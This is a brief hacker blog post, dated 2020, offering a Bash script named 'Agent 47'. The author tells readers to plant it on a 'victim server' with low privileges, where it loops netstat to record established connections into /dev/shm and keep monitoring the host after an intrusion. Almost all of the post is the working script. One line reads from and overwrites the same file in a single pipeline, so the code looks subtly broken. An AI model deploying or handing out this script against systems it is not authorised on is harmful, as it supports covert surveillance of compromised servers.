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ＵＮＬＥ⛧ＳＨ　ＴＨＥ　ＢＥＡＳＴ　ト何ゼ

Agent 47 | Persistent NETSTAT

July 2, 2020 // echel0n

Hello fellas!

I decided to code this stupid awkward script.

When you have very low privileges (let's say `www-data`) but you would like to note every connections on the server while you are being away, you can just put this thing in somewhere on victim server.

DO YOU FEEL THAT, YOU ARE BEING APT NOW?  *chuckles*


So here it is:




  1. #!/usr/bin/env bash

  2. 

  3. export TERM=xterm-256color

  4. clear

  5. 

  6. echo

  7. echo

  8. echo "                      *                 ***"                         

  9. echo "                     **                   ***"                     

  10. echo "                     **                    **"                            

  11. echo "                     **                    **"                          

  12. echo "                     **                    **       ****"                 

  13. echo "   ***       ****    **  ***      ***      **      * ***  * ***  ****    "

  14. echo "  * ***     * ***  * ** * ***    * ***     **     *   ****   **** **** * "

  15. echo " *   ***   *   ****  ***   ***  *   ***    **    **    **     **   ****  "

  16. echo "**    *** **         **     ** **    ***   **    **    **     **    **   "

  17. echo "********  **         **     ** ********    **    **    **     **    **   "

  18. echo "*******   **         **     ** *******     **    **    **     **    **   "

  19. echo "**        **         **     ** **          **    **    **     **    **   "

  20. echo "****    * ***     *  **     ** ****    *   **     ******      **    **   "

  21. echo " *******   *******   **     **  *******    *** *   ****       ***   ***  "

  22. echo "  *****     *****     **    **   *****      ***                ***   *** "

  23. echo "                            * "                                           

  24. echo "                           * "                                            

  25. echo "                          * "                                             

  26. echo "                         * "

  27. 

  28. echo

  29. echo "Agent 47"

  30. sleep 3

  31. 

  32. 

  33. 

  34. touch /dev/shm/monitoring

  35. touch /dev/shm/new

  36. 

  37. file=$(mktemp)

  38. progress() {

  39.   pc=0;

  40.   while [ -e $file ]

  41.     do

  42.       clear

  43.       cat /dev/shm/monitoring

  44.       echo -ne "$pc sec\033[0K\033[0K\r"

  45.       sleep 1

  46.       ((pc++))

  47.     done

  48. }

  49. 

  50. progress &

  51. 

  52. while [[ true ]]; do

  53. 	(netstat -antp | grep -iv ":80" | grep ".*ESTABLISHED" | sort -u > /dev/shm/new) &> /dev/null &&

  54. 	cat /dev/shm/new /dev/shm/monitoring | sort -u > /dev/shm/monitoring &&

  55. 	rm /dev/shm/new

  56. done